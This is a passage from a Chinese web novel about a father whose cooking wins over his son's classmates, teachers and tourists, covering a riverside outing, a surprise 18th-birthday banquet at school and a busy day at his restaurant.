他是真爱吃，也喜欢凑热闹，半个多小时后还真找过来了，并且拉上商时贸和叶其林一起。 商时贸是真服了胡一齐：“你们作业做完了吗？” 他本来在家写作业，结果胡一齐非要喊他出门。 “没，明天再做。”楚瑾钰道。 胡一齐看向商时贸：“我们都没做，你也别想做。” 人多以后河边立刻就热闹起来，他们也不打游戏了，要么用楚易文的备用鱼竿学着钓鱼，要么自己试着炸鱼。 楚瑾钰：“你看你，炸的鱼猫都不吃。” “猫不吃我自己吃。”胡一齐说完将炸得有点糊的鱼送进自己嘴里，很快又直接吐出来，“有点苦……” “你是不是傻？” 楚瑾钰吐槽他时，旁边那只猫都瞬间离胡一齐远点，好像也在嫌这个两脚兽有点傻。 体验过钓鱼和吃鱼的乐趣后，很快叶其林他们又开始玩起打水漂来，但是根本打不起来。 水面被他们丢下去的石头带出好多涟漪，楚易文干脆将鱼竿收起来，在附近寻找几块比较平的石片教他们什么才是真正的打水漂。 “哇——” 在看到楚易文扔出去的石头在水面连续跳跃，胡一齐几人不约而同发出惊讶声。 “楚爸你太牛了！教教我，我要学这个！” 何止胡一齐，楚瑾钰同样很感兴趣，凑到他爸面前又扔了一个石头，随即疑惑：“爸，为什么我的石头一丢就直接沉底了？” “要选择扁平的石头，然后注意角度。” 楚易文小时候可不像现在孩子一样有那么多玩具，没事干时玩的就是这些能随手捡到的东西，打水漂什么的，哪怕好多年没打过，依旧信手拈来。 随着他再次展示，甚至能做到“一发双镖”，简直帅到楚瑾钰他们，纷纷吵着要学。 楚易文也没想到他们对打水漂兴趣那么大，将小时候自己摸索出来的技巧手把手教给他们。 “看我找的石头，又平又扁，肯定能打好多个。” “哈哈哈哈，你真是白瞎那么好的石头……” “快看，我成功了，跳了六次！” 太阳渐渐落山，橘色的夕阳余晖下，楚易文望着几个孩子在河边不停尝试的身影，有种看到自己小时候和村里小伙伴嬉戏的场景。 五一当天玩得有多高兴，第二天要做作业时楚瑾钰就有多郁闷，更郁闷的是明天三号就要去学校上学。 “爸，你厨房里泡的都是什么啊？我怎么感觉已经泡了好几天了？” 晚饭结束时，美食带来的享受和饱腹感让楚瑾钰心情稍微好点，注意到厨房里泡在水中的食材。 楚易文：“有些食材要提前浸泡才能用。” 楚瑾钰没多想“哦”了一声就继续去做剩下的那点作业，等到作业终于写完，他拉着胡一齐几人打几把游戏才关灯睡觉。 快要睡着时，他忽然记起来明天好像是自己生日，想到去年的生日，不由更加郁闷。 显然，在楚瑾钰看来，明天要上学，正儿八经的生日是别想过，最多能收到礼物，或者他爸晚上给做点好吃的。 他对今年的生日已经不报什么期待，然而楚易文怎么可能让他的十八岁生日就那么平平无奇过去。 五月三号这天楚易文依旧没有开门营业，而是在家里准备大餐。昨晚楚瑾钰注意到的食材是鲍鱼、海参、花胶、鱼唇，这些都是做佛跳墙需要的食材，都得提前几天开始泡发。 除此之外，他还提前炖好了高汤，当天早上将儿子送到学校，回家就立刻用买的坛子开始将食材依次放入，开始炖佛跳墙。 由于要在家里看着火候，午餐他做好都是找个跑腿帮他送往学校。跑腿小哥上门来拿餐时，那扑面而来的香味，馋得他口水都差点流出来。 当然，儿子的十八岁生日楚易文肯定不只做一道佛跳墙，在佛跳墙小火慢炖时，他还做了好多美味佳肴，比如薯粉团、灯影牛肉、香辣烤羊排、辣炒花甲、黄金炸鸡…… 中午。 楚瑾钰在学校吃着丰盛而美味的午餐，心里还是有点小郁闷，觉得今天如果放假，不光能多玩一天，还能在家好好过个生日，而不少像现在一样，生日还要上学。 “你怎么了？”邵言易见他吃饭动作越来越慢，不由关心一句。 楚瑾钰：“没事。” 他是有点要面子的，不想表现出对生日的在乎，摇头继续吃饭。 胡一齐：“楚爸做的红烧排骨我真是百吃不腻，太香了！” 见他就知道吃，楚瑾钰忍不住悄悄瞪他一眼。 午餐结束，几人从食堂回到教室，楚瑾钰坐下来后很快发现不对，望着被塞满的抽屉奇怪道：“谁的东西放我桌子里了？” “生日快乐！” 在他抬头那瞬间，教室里同学笑着送出祝福。 楚瑾钰先是一愣，随即才反应过来，原来抽屉里是同学们送的生日礼物。 “生日快乐。”邵言易将自己那份礼物放到他桌面上。 去年楚瑾钰生日时邀请过所有同学，大家记得实在很正常，虽然有点遗憾今年不能去他家吃饭，同学们还是纷纷送上礼物。 楚瑾钰望着抽屉里大大小小的礼物，心里有点惊喜，显然没想到班里人会记得自己生日，还准备了礼物。 “现在高兴了没？”商时贸走过来拍着他肩膀说，显然是早就注意到他上午的郁闷情绪。 楚瑾钰却是有点傲娇：“高兴什么啊，要不是破学校只放两天假，我现在应该在家里过生日。” 他话落，班里同学纷纷点头：“就是，本来今天还能去蹭一顿叔叔做的饭。” “学校真是太小气了，竟然连三天假都不放！” “就是，真讨厌，不然今天就能吃到叔叔做的大餐了。” 有同学回忆着去年的生日宴，觉得学校是真小气，但凡多放一天，他们就又能吃到好多美食。 听到同学们都吐槽，楚瑾钰心情反而变好一些，尤其是看到被塞满整个桌子的礼物时。 他不缺零花钱，自然也不会缺这点礼物，但和礼物的价值比起来，更珍贵的明显是同学们的心意。 下午时楚瑾钰心情恢复正常，已经接受自己的生日在上学中度过，然而最后一节课时，惊喜却再次到来。 离放学还有十分钟时，班主任开口让大家将课桌调整一下位置，拼成四张大长桌。 “老师，为什么要摆桌子？晚上有什么活动吗？” “难道五一也要搞晚会了？” “谁家好人五一搞晚会，该不会是要考试吧？” “考试用拼桌子吗？” 哪怕中午给楚瑾钰送了礼物，但同学们还真没往楚瑾钰生日方面想，主要高中三年下来，真没谁在学校过生日。 实际上如果可以，楚易文也不想搞得那么兴师动众，但十八岁生日到底不同，他觉得和网上那些盛大的成年礼比起来，自己这好像也不算什么。 在学生们好奇声中，教室里桌子被摆好，几个穿着统一服饰的人员进来往长桌上铺好桌布，又拿气球快速装扮好教室，很快氛围就起来。 楚瑾钰在看到那些工作人员时，心跳声莫名加快，脑海中浮现一个不确定的念头。 “今天是楚瑾钰十八岁生日，由于要上学，楚瑾钰爸爸就想让我们一起陪他在学校度过这个……”随着班主任开口，很快有装满饭菜的推车被推进来。 为了方便送过来，其他菜都只能用一次性餐盒装，吃完收拾起来也方便。随着工作人员将盖子打开，把菜放到每张桌上，教室里立刻传来欢呼声。 “哇，太棒了！” “楚瑾钰生日快乐~” 同学们没有放学时间被耽搁的烦躁，而是发自内心感到快乐。毕竟平常想去盲盒餐厅吃顿饭可不容易，现在坐在教室里就能吃到那么多美食，简直不要太幸福。 楚瑾钰：“我爸怎么都不提前说一声……” 胡一齐听到他口是心非的话，指着他脸道：“行了别装了，你嘴角都要咧到耳根了。” 楚瑾钰闻言下意识抿唇，然而微亮的眼神还是泄露他愉悦的心情。 哪怕他嘴上说今天要上学没办法，实际上还是想要过生日的，毕竟他爸去年就说等他十八时给他办个更好的生日宴。 “想笑就笑吧，反正今天是你的大喜日子，没人敢说你什么。”商时贸见他抿着唇都藏不住脸上笑意，拍着他胳膊道。 “好多好吃的啊！还有灯影牛肉！” “有烤羊排，还有我上次没吃到的八宝葫芦鸭！” 同学们再次送上生日祝福后，立刻被桌上菜色吸引，口水差点没下来。 与此同时放学铃声响起，隔壁班听到他们班的动静，有不少学生被吸引过来，就发现他们班竟然在教室里过生日， 在大部分学生发出羡慕的感叹时，一个男生得知是楚瑾钰在班里过生日，不由道：“臭显摆什么，过个生日还跑到学校来，真能装。” “人家班上老师和同学都没意见，关你什么事？”有学生感觉他很无语，说完直接往旁边挪开几步，觉得这种人不能离他太近。 就在教室里学生们都坐好等开饭时，楚易文带人推着两个大坛子进来。 “叔叔好！” “谢谢叔叔的招待~” “叔叔你做的菜好香啊！” 同学们看到楚易文进来，一个个态度很是热情。 “耽误你们时间了，主要我去年答应给楚瑾钰好好过个十八岁生日，没想到今天要上学……” 楚易文客气话还没说完，教室里学生们已经七嘴八舌表示没关系，他们恨不得楚瑾钰天天在学校过生日。 “叔叔，那个坛子里是什么？” “是佛跳墙。”楚易文笑着回答完，直接把坛子打开，当他掀开封口的荷叶时，瞬间满室生香。 如果说之前桌上那些菜就已经够香，哪怕等佛跳墙的香味飘出来，直接碾压所有菜香，不愧是“启坛荤香飘四邻，佛闻弃禅跳墙来”。 浓郁的肉香、火腿的腊味香、海鲜的鲜香、菌菇来自山林的清香……各种食材的香味交织在一起，组成一股深邃、诱人的荤香，别说教室里同学们差点流口水，教室外围观的学生们更是差点从窗户跳进来。 楚瑾钰已经走到他爸身边，在他爸把盛出来的第一碗佛跳墙递过来时，显然想到前段时间自己随口说了句想吃佛跳墙。 当时他是在电影里看到佛跳墙，见做法又麻烦又复杂，有点好奇是不是真那么好吃，没想到他爸竟然真的会做。 “生日快乐。”楚易文见儿子望着自己不说话，笑着抬手揉了揉他头发。 第一碗佛跳墙给儿子后，他第二碗盛给班主任，同时旁边那坛佛跳墙也被工作人员打开，盛好分别端到桌上。 “这也是你自己做的？真是太厉害啊！”班主任望着面前色香味俱全，香气格外诱人的佛跳墙，发自内心夸赞。 楚易文笑了两下，随即麻烦他请其他老师一起过来尝尝佛跳墙。 佛跳墙做起来很麻烦，不少食材他都是从系统里兑换的，而且得提前好几天准备。不过看到儿子脸上的笑容，他觉得花再多心思都值得。 “好鲜啊！” 佛跳墙的汤很浓稠，小火慢炖将食材的精华都融入汤中，入口是极致的鲜味，这种鲜不是科技与狠活调制出来的味道，而是来自各种食材的本味，鲜而不腻，回味悠长。 “以前都是在电视上看过佛跳墙，没想到叔叔竟然连这个都会做，太好吃了！” “我之前在喜宴上倒是吃过佛跳墙，但食材种类根本没有这么多，也没那么鲜，叔叔做的这个真是绝了！” 佛跳墙不光汤鲜，里面的食材同样美味，食材和汤相辅相成，汤汁吸收食材精华的同时又反哺到食材上，吸收汤汁的食材鲜味十足。 胡一齐：“这个鲍鱼好好吃啊！一点都不像外面的鲍鱼那样没味道。” 鲍鱼吸收汤汁，口感软糯弹牙，咸鲜浓郁的同时特别有嚼劲。 其他同学还会矜持一下，胡一齐和楚易文都是叫爸的关系，才不会客气，端着碗直接凑过来：“楚爸，我还想要鲍鱼。” 第100章 牡丹鱼片 “味道怎么样？”楚易文边握着勺子将他碗里再次添满边笑着问。 胡一齐：“超级无敌好吃！我都没想到这辈子还能吃到佛跳墙这种美食！” 以他的家庭条件倒不是吃不起, 只是日常没事时他也不会想到吃这个，而且他感觉酒店卖的佛跳墙都不一定有手里这碗好吃。 胡一齐说完低头继续吃起来，发现不光鲍鱼软糯可口, 干贝更是丝丝分明，那股鲜甜味简直了！ “这个是什么？软软嫩嫩的，好好吃。” “里面还有鸡肉，炖得骨头都烂了，但肉吃起来却一点都不柴，好香啊，比普通的炖鸡好吃一百倍！” “那么多食材炖出来的鸡, 当然好吃了。” 佛跳墙里食材种类太多，有些学生们甚至认不出来，但感觉每样都特别好吃, 尤其是汤，简直能鲜掉人眉毛。 “爸，你也吃啊。”楚瑾钰半碗佛跳墙下肚, 见他爸含笑站在那看着，觉得这玩意做一次那么麻烦, 他爸要是不吃多可惜。 “好。” 楚易文答应的同时，先将他碗里添满，随即才给自己盛了碗，被他拉到桌子前坐下来。 长桌上, 学生们看到他过来，边继续吃边挪开一点让出位置，并嘴甜道：“叔叔你做的佛跳墙真是又香又好看还特别好吃！” “对啊，这个汤鲜得我差点把舌头都吞进去。” 教室里吃得正热闹时，其他老师收到消息过来, 刚进门就闻见股浓郁的荤香，喉咙下意识吞咽两下。 其他老师还在心里感叹楚瑾钰爸爸真是宠孩子时，石老师已经注意到那两个大坛子，作为吃货，他反应还挺快：“这该不会是佛跳墙吧？” 班主任刚刚只发消息喊他们过来吃饭，没说具体有什么菜，其他老师闻言全部被佛跳墙给吸引。 “怪不得叫佛跳墙，这香味，谁闻谁都想跳墙而来。” 老师们感叹时，楚易文已经起身过来招呼他们，互相寒暄客气几句，老师们送上临时在办公室翻出来的生日礼物，随即才开始品尝佛跳墙。 鲍鱼软糯弹牙、海参滑糯丰腴、干贝鲜甜美味、花胶软滑黏唇、鸡肉酥烂脱骨、鱼唇入口即化、香菇肥厚多汁…… 佛跳墙里每道食材都保持着自身独特的口感，融合在一起却不会互相抢味，每一口都是极致的味觉享受。 “唔，这才是真正的佛跳墙，和我之前在外面九十八一小盅吃的完全不同，太鲜了，鲜而不腻，口感和味道都特别有层次感。” 石老师作为吃货，佛跳墙这种名头特别响的美食，他之前好奇下就去尝试过，当时还挺失望。 但今天，吃着手里食材丰盛，荤香浓郁的佛跳墙，他才真正感受到什么叫“佛闻弃禅跳墙来”的美味。 楚瑾钰看到同学和老师们都被他爸做的佛跳墙给好吃到，心里很是自豪，又喝两口汤后握着筷子往嘴里塞了片灯影牛肉。 看到他动筷子，同学们像是终于反应过来桌上还有其他美食一样，纷纷开始伸手。 “好好吃啊，这么多美味，我都不知道从哪吃起。” 手里的佛跳墙已经是极致的美味，桌上其他美味佳肴同样好吃，让同学们只恨没多长两张嘴。 有人在感叹，有人已经左右开弓，左手握勺子时不时来口佛跳墙，右手握着筷子，不停往嘴里塞着炸鸡、烂羊排、灯影牛肉、辣炒花甲。 每道菜都是如此美味，让同学们个个吃着碗里，望着盘子里，感觉太多好吃的了，吃不过来，根本吃不过来！ 桌上随便一道菜都好到不行，现在那么多同时摆出来，其中的咸、鲜、酥、脆、香、辣、酸、甜，只有吃到的人知道有多幸福。 “太好吃了，楚瑾钰你可以天天过生日吗？” “楚瑾钰你准备读哪个大学？我要和你做一辈子的好同学好朋友！” 这话一出，成绩比楚瑾钰好的同学感觉问题不大，成绩比他差的同学开始下定决心，觉得接下来一个月得继续努力学习。 楚瑾钰听到他们的话有无语又有点好笑：“谁家好人天天过生日。” “你可以的，我支持你天天过生日，实在不行我可以把我的生日给你。” “同上。” “支持你天天过生日。” 同学们吃的腮帮子都鼓起来，还能抽空说几句话，也是挺厉害。和他们比起来，胡一齐已经吃得头都差点埋进碗里。 “你天天都能吃到楚爸做的菜，至于吗？”叶其林看着他那个吃相，觉得真不怪他能长那么多肉。 胡一齐努力咽下嘴里的美食道：“平常楚爸哪会一次做那么多，这比年夜饭都丰盛。” 他说完伸出筷子夹起个南煎丸子，享受着那酥韧微焦，咸鲜浓郁的滋味。 “花甲好好吃啊！肉又嫩又饱满，而且还没沙。” “烤羊排表面那层又脆又焦，简直绝了！” “我还是觉得佛跳墙最好吃，鲜得都不知道怎么用语言来形容。” 学生们已经顾不得老师在场，吃得那叫一个香。外面围观的同学有人被馋得受不了，带着羡慕的心情直接离开，有人比较社牛，直接跑进去蹭吃，还真蹭到点汤和肉。 随着消息传开，得知这里有佛跳墙吃，学校里其他老师和主任都忍不住过来凑热闹。 来者是客，楚易文自然都很欢迎，笑着招呼他们一起吃。 “竟然真的有佛跳墙。” “嚯，这佛跳墙可真不简单，又是海参又是鲍鱼。” 感觉以佛跳墙里面的食材，放到外面卖哪怕一碗都不会便宜，主任他们可不好意思白吃，由于没有准备礼物，便直接给楚瑾钰发了个生日红包。 这顿饭吃完，已经到上晚自习时间，好在老师都在场，哪怕耽误点时间也没什么。 楚易文准备的菜只多不少，而且还有蛋糕和餐后水果，等生日宴结束，教室里所有人都是吃饱了撑着的状态。 吃完不用学生们动手，楚易文请的工作人员麻利地将卫生收拾好，把教室恢复原样。 “爸，你帮我把礼物先拿回家。”楚瑾钰脸上笑容就没消失过，配上本就精致的五官，看起来带着少年特有的意气风发。 楚易文点点头，交代一句“好好上课”就转身离开，不再打扰正常晚自习。 等他从学校里出来时，门卫边开门边笑着夸：“你做的佛跳墙太香了，我刚刚在门卫室吃时，不光学生们被馋到，还有只橘猫跑进来就是不肯走……” 楚易文很会做人，刚刚进学校时就准备了一份餐送给门卫，此时笑着和他聊两句才出去开车回家。 他到家时，教室里学生们嗅着空气中残留的香味，心情还有点兴奋，复习的同时不少人窃窃私语，讨论着下午吃到的美食。 相比较起来，这会反而是楚瑾钰注意力更集中些，唇角带着弧度在低头复习课本。 第一节晚自习下课时，教室里瞬间就热闹起来，甚至有隔壁班学生跑过来和他们聊天。 “你们下午真的在班里吃佛跳墙了？”这显然是放学走得太快，没凑到热闹的学生。 “当然，叔叔做的佛跳墙特别鲜，里面有鲍鱼、海参、鸡肉、火腿……” “我以前看到美食剧和美食小说时，还以为里面描述佛跳墙太夸张了，今天才知道，佛跳墙是真绝顶美味！” “是啊，没吃之前我还想，那么多食材丢一起，简直跟大乱炖一样，但吃过才知道它是如此美味。” “楚瑾钰你爸爸真是太好了，不光手艺好，对你也好！” 学生们感叹完佛跳墙和其他菜肴的美味后，又发出羡慕的声音，觉得同样是爸爸，为什么人和人之间的差距就这么大。 去年听到别人夸他爸时，楚瑾钰还会在心里嘀咕几句，觉得他爸以前又没有那么好。但此时此刻，他也觉得他爸确实很好，在同学们羡慕的声音下，眼角眉梢都是笑意。 原本那么早就结束五一假期，大家都是很郁闷的，但下午那顿生日宴真是吃得太爽，以至于大家心情都变得特别愉悦。 这美好又美味的一天，大概除了楚瑾钰外，其他人同样会终生难忘。 楚瑾钰度过他十八岁生日的当天，某座城市的某个酒店里。 “你确定明天要去云市吗？我在网上看了一下，你想吃的那家盲盒餐厅今天没营业。” “明天说不定就营业了，而且就算吃不到，云市好玩的地方也挺多，就当去旅游了呗。” “行吧。” 随着盲盒餐厅在网上越来越火，被它馋到的外地人不在少数，趁着五一小长假，不少人都决定要来云市尝尝看。 五月四号。 忙完儿子的生日，楚易文重新恢复营业，上午他采购完食材到店中，李老太太立刻笑着道谢，夸他炖的佛跳墙好吃。 佛跳墙做起来特别费时间，难得做一次，楚易文很贴心地留了一份拿给邵言易，让他带回家给奶奶吃。 楚易文：“不用客气，你还不是经常给瑾钰他们做鞋子和鞋垫。” 李老太太是个闲不住的，哪怕在盲盒餐厅上班，空余时间还要去种菜，做各种鞋子。自从她过来上班后，不光冬天给楚瑾钰他们做了棉鞋，前些日子还给做了拖鞋和鞋垫。 他们在厨房边聊边处理食材时，店里已经有人上门，看那四处打量的模样，明显是新顾客。 “运气真不错，今天竟然真的营业了！” “走走走，先去门外帮我拍张照片。” 楚易文人在厨房里看不见，隔壁文具店王老板却是眼睁睁看着陆续来了好多人，在盲盒餐厅拍照。 “你们拍什么呢？”王老板没忍住问。 “拍照打卡。” 显然，在这个网络发达的年代，但凡稍微有点热度的地方，就少不了打卡党。 九点多时，小月和爷爷一起来到盲盒餐厅，考虑到高三之外的学生好多还在放假中，她今天特意提前过来，没想到远远就看见店门口一堆人。 “不是吧……” 她发出无奈的声音，加快脚步来到店里时，发现果然没位置了。 随着店里人满为患时，李老太太被外面的喧哗声吸引，走出来一看，就发现店里店外全是人。 关注盲盒餐厅视频的人对李老太太并不陌生，毕竟在很多直播视频里，都能看到她的身影。 “奶奶，今天有什么好吃的？” 李老太太听到询问，开口回答道：“有鱼有鸭有排骨。” 厨房里，楚易文正在将泡好的墨鱼切成长条拿来煲汤。之前他在家里煮过墨鱼汤，几个孩子都挺喜欢喝，他干脆多买了点干墨鱼。 进入五月份后天气越来越热，墨鱼不光有营养，拿来煲汤还能清火降燥，很适合现在喝。 墨鱼排骨汤在砂锅里炖上，他开始做啤酒鸭，很快就有香味从厨房里飘出去。 老顾客们闻见香味时倒是还好，新顾客们一个个都不自觉深呼吸嗅着香味，发出“好香”的感叹。 “光闻味道就知道，肯定好吃。” “已经感觉饿了……” “好期待啊，不知道今天有什么好吃的。” 今天店里游客含量有点高，有人甚至直接推着行李箱过来，店内氛围比平常还要热闹。 随着时间的流逝，排队的人已经从店里延伸到马路边去，与此同时，店内香味更加浓郁诱人。 厨房内。 楚易文正在起锅烧油，在油锅里开始冒烟时，从盆里取出一片腌制好、裹好粉的鱼片，用筷子夹住放入油中，伴随“滋滋”油声，鱼片被炸成“U”形，像是花瓣的形状。 他动作特别快，一片片鱼被筷子夹进油锅微微定型就松开，很快就炸出一大盆“U”形鱼片。等将腌制的鱼片全部炸完，他将油温升高后进行复炸，很快就炸出一片片金黄色“花瓣”。 炸鱼香味飘出去，可把外面顾客馋得不行，而楚易文则是开始调制酱汁。锅中留底油，用小火将自制番茄酱炒成红亮的酱汁，再加入白糖、白醋、一点点盐，最后用清水烧开。 这道牡丹鱼片需要摆盘，不能直接打进盆里，楚易文调好酱汁就用餐盒将炸好的鱼片摆成牡丹花形，又将酱汁淋在花中心当作花蕊，看起来卖相诱人。 随着放学铃声响起，他开始往外端菜，其中最吸引人的就是一份份用餐盒装好的牡丹鱼片。 为了保证鱼肉的酥脆，餐盒全部没有盖盖子，露出里面通体金黄，边缘微焦的鱼片，在红亮的酱汁点缀下，整道菜像是一朵朵盛开的牡丹花。 “哇！这是什么？” 顾客们被牡丹鱼片的卖相给诱惑到，有人猜像萝卜，有人觉得是用冬瓜雕的。 “你们是不是傻，上面不是有菜单，这显然是牡丹鱼片。” “鱼？这鱼也太漂亮了吧！简直是艺术！” “老板，这真是用鱼做的吗？” 楚易文颔首：“是鱼。” 他之所以会做牡丹鱼片，是因为从四月底就看到好多外地人在评论区说放假要过来吃饭，想着有朋自远方来，得做点不一样的菜。 这道牡丹鱼片他学会有段时间，之前因为要摆盘感觉卖起来不方便，直到今天才终于拿出来。 别说新顾客震惊，就连老顾客都被牡丹鱼片的卖相给惊艳道：“老板你到底还藏着多少我们没吃过的菜？” “这也太好看了，要是换个精致点的盘子装，放到外面不得卖个八百八十八。” “今天真是来对了！” “真是服气了，这是学校周边能做出来的菜吗？为什么我读书时就没有这种好吃又实惠的店？” 其他顾客还在感叹时，排在前面的顾客赶紧道：“老板我要一份牡丹鱼片！还要啤酒鸭、回锅肉、香菇炒青菜、墨鱼排骨汤。” “老板我也要牡丹鱼片！” 牡丹鱼片不光外形漂亮，吃起来更加美味，外面那层壳清薄酥脆，带着油炸特有的焦香，内里鱼肉细嫩多汁，两种口感形成鲜明对比。 酱汁的酸甜恰到好处，中和鱼片的油腻，夹杂在其中的咸鲜口和酱汁的酸甜达成完美平衡。 “唔，这味道，真是绝了！” “太好吃了，外脆里嫩，鱼肉吃起来嫩而不腥，那股鲜味配上酱汁的酸甜口，简直好吃死了！” 顾客们之前还喊着牡丹鱼片太漂亮，根本舍不得吃，结果等真吃起来时，却是根本停不下来。 鱼肉经过腌制，鱼腥味被完全去除，高温油炸不光给鱼片裹上层薄脆的外壳，还激发出鱼片本身的鲜味，配上酸甜适中的酱汁，好看又好吃。 “怎么会有这么完美的菜，又香又好看还好吃，更重要的是没有鱼刺和腥味！” 对于爱吃鱼但怕鱼刺的吃货来说，牡丹鱼片简直完美到无可挑剔，吃起来简直不要太过瘾。 有人吃完“整朵”牡丹后，终于后知后觉想起来拍照，都不用开滤镜，随手一拍都很诱人。 “之前喊你来你还不愿意，现在吃得比谁都多。” “别说了，我错了还不行嘛，谁能想到一家学校边的餐馆能这么好吃，这牡丹鱼片真是绝了！” “啤酒鸭也好好吃，鸭肉酥烂入味，那股淡淡的麦芽香好好闻，这才是真正的啤酒鸭，太好吃了！” “他家就连青菜都炒得特别好吃，又脆又嫩，我从来没吃过这么美味的炒青菜。” “今天这趟真是来对了，之前我还感觉网上的夸奖太夸张，没想到竟然真这么好吃！” “这是一家小餐厅能做出来的菜吗？感觉我们那的大酒店都没这么好吃。” 游客们吃着好不容易买到的午餐，感觉每道菜都格外香，觉得真是不虚此行。 还在排队的本地老顾客看着他们没见过世面的模样，心里很是与有荣焉，有人忍不住道：“这算什么，之前老板还做过脆皮猪肘、烤羊排、樱桃肉……都特别好吃。” 游客们吃得头也不抬，已经完全沉浸在美食中，就连他们带来的小朋友都不吵不闹，握着筷子大口吃饭。 小月看到他们吃得那么香，吞咽两下口水后，决定下午得再来早点，省得被人馋。 终于轮到她买饭时，牡丹鱼片只剩最后几分，吓得她直拍胸口：“还好还好，还好我买到了。” 要知道，盲盒餐厅每天菜色都不同，有时候一道菜错过，得等很久才能吃上。 买完饭她忍着馋意先拍视频，三百六十度无死角给牡丹鱼片来了个特写，同时夸道：“你们看，这牡丹鱼片真是太漂亮了，边缘那圈微焦像是给花瓣镶了金边，简直就是一朵盛开的牡丹花。” 油炸的焦香混着鱼肉的鲜香，还有酱汁的酸甜气息，闻起来简直太诱人。 小月说完就迫不及待夹起片“花瓣”送入口中，轻微的“咔嚓”声中，鱼片表面那层薄薄脆壳被咬开，鱼鲜味瞬间溢出来，咀嚼间外酥里嫩，酸甜适口。 “太好吃了，太好吃了！太好吃了！”重要的事情说三遍后，小月脸上露出陶醉的表情。 牡丹鱼片看似就是将鱼切片油炸，实际上并没有那么简单，光是将鱼片成得薄厚均匀就很考验刀工，太薄容易炸干，太厚没办法定型，更不用说油炸时的火候把握，以及酱汁的调制。 隔壁桌，吴煦旭和吴煦琳兄妹俩也刚吃上饭，牡丹鱼片的美味好吃到吴煦琳眼睛都弯起来。 吴煦旭看着堂妹脸上的表情，感叹美食果然能令人心情愉悦，甚至能抵抗高考压力，同时又有点可惜他当初读书时怎么没有这么好吃的店。 不过眼见堂妹筷子越夹越快，他顿时没工夫再想这些有的没的，立刻和她抢起来。 “哥，你都不让让我！” “你又不是三岁小孩，让什么让。”吴煦旭说完直接又抢了几片鱼到碗里。 这边兄妹俩抢着吃时，厨房旁边那张桌子，楚瑾钰也正在和胡一齐抢牡丹鱼片。 其实楚易文给他们留了挺多，可耐不住这道菜外形好看还好吃，几人越吃越开胃，可不就抢起来。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 100-104 第101章 灌蛋 “你说这牡丹鱼片……”胡一齐将整个鱼片塞进嘴里嚼嚼嚼, 享受着那酥脆焦香，细嫩多汁的口感，“怎么会这么好吃！” 叶其林：“最重要的是没有鱼刺, 吃起来很爽。” 邵言易从来没吃过如此美味又漂亮的鱼，此时也忍不住开口：“确实好吃，而且很开胃，这种酸甜口和之前的樱桃肉又有点不同。” “楚爸调味太厉害了，感觉别人做的菜好多都一个味道，他做菜同样的酸甜口却有不同的味道，而且都特别好吃。”商时贸想到除了樱桃肉, 还有之前的糖醋排骨、糖醋鱼，发自内心感叹。 楚瑾钰没有说话，脸上却是露出“我爸就是这么厉害”的表情。 不光他们觉得楚易文厉害, 店内顾客更是被他的手艺征服，有个游客在吃完饭后甚至起身询问：“老板，你收徒吗？我可以交学费。” 不怪这位游客有这个想法, 实在是午餐的每道菜都令他惊艳，感觉要是能学会五六分手艺, 回去开个店会很赚钱。 楚易文自然没有收徒的打算，直接摇头拒绝，表示想学的话可以关注他账号。 其实如果真心想学，多研究他视频完全入门绝对没问题, 当然，想做到像他一样，那就得靠努力加天赋。 “老板，你这汤是怎么炖的？也太好喝了，还有里面这个墨鱼, 又鲜又有韧劲，好好吃啊！” “确实，汤好喝就算了，里面的墨鱼和排骨竟然都不柴，吃起来特别香。” “别说肉了，就连骨头都香的我忍不住啃两口。” 老顾客们经常来盲盒餐厅吃饭，天天能喝到不同的炖汤，已经有点习以为常。但对新顾客来说，感觉他家不光菜好吃，汤更是惊为天人。 说啃骨头的顾客那是一点都没夸张，他丢在桌上的骨头满是牙印，显然是整个啃了一遍，将骨髓里的汤汁都咬出来，实在咬不动才舍得丢。 某方便来说，盲盒餐厅里卫生其实还挺好搞，因为顾客们压根舍不得留下剩饭，就算不小心买多了，实在吃不完都会打包带走。 而平常会掉饭菜在桌上的小朋友，在店里吃饭都会特别小心，真掉了立刻就捡起来往嘴里塞。 “吃得好撑啊……” 吃饱喝足的顾客摸着肚子感叹，脸上却是露出满足的表情，显然这顿饭吃爽了。 “下午去哪玩？” “吃得太撑了，不想动弹，去酒店里睡会然后过来等吃晚饭算了。” “我觉得可以。” 两个过来旅游的人一拍即合，而像她们一样的游客还不少。 显然，吃过盲盒餐厅里饭后，他们感觉玩不玩的已经没那么重要，重要的是不能错过他家饭。 如果说中午人已经够多，那么等到下午时，店门还没开，外面已经等着一堆人。 楚易文从家里午休完回来，看到这热闹的场景都感觉有点头大，尤其是被不少游客拉着合照时。 终于进入厨房，他感觉比起在外面当吉祥物和游客拍照，还在做菜更适合他。下午他准备炖个酸萝卜老鸭汤，酸萝卜是他自己腌制的，吃起来酸脆可口，用来炖老鸭汤再合适不过。 楚易文动作麻利又不失条理地将汤炖好，握着剁骨刀开始处理排骨，准备做个米粉蒸排骨。 他刀工已经完全练出来，剁好的排骨切口特别干脆利落，一点碎骨都没有，这样吃起来时不会有碎骨扎在肉里影响口感。 米粉依旧是他自己炒的，当食材处理好开始上锅蒸时，很快米粉特有的米香、排骨的肉鲜味，以及香料形成的复合香缓缓从厨房飘出来，香气越来越浓郁。 “好香啊！” “怎么会有人做个菜这么香！我都有点不想离开云市了，恨不得直接在附近买个房，天天过来吃饭。” “肉香加米香，该不会是米粉蒸排骨吧？我爱吃这个。” “香死人了，明明中午吃得很撑，感觉我现在又饿了。” “不行，我不想晚上坐车回家了，我们再留一天，明天吃完晚饭再走。” 自己炒制的米粉蒸出来就是香，在米粉蒸排骨的香气诱惑下，店里顾客露出陶醉的表情，还有人直接改变行程，决定要在云市多待一天。 厨房里，楚易文将米粉蒸排骨上蒸锅后就开始处理大虾，随着他开始炸虾，那股油炸特有的焦香和油脂气息混着食材特有的鲜味飘出去，简直能香死人。 而这还不是最香的，等到虾全部炸完，楚易文将蒜末、青红椒爆出香味开始炒虾时，随着椒盐裹上去，香味顿时更加浓郁。 椒盐的辛香混合着花椒和其他香料的复合气息，再配上大虾被油炸产生的焦香、鲜香，闻起来特别勾人食欲。 店内，顾客们闻着源源不断飘出来的香味，口水都快流下来。 “忽然发现闻得到吃不到，也太折磨人了……” 在香味的诱惑下，等待的顾客心里只有对吃饭的急切，原本还在打游戏的人心思根本没办法沉浸在游戏中，刷短视频的人更是时不时就要抬头。 下午的游客中，有几个是做自媒体的，已经打开账号开始直播：“给你们看看这家店有多火……” 【嚯，这么多人？现在才三点多，至于那么早就过去吗？】 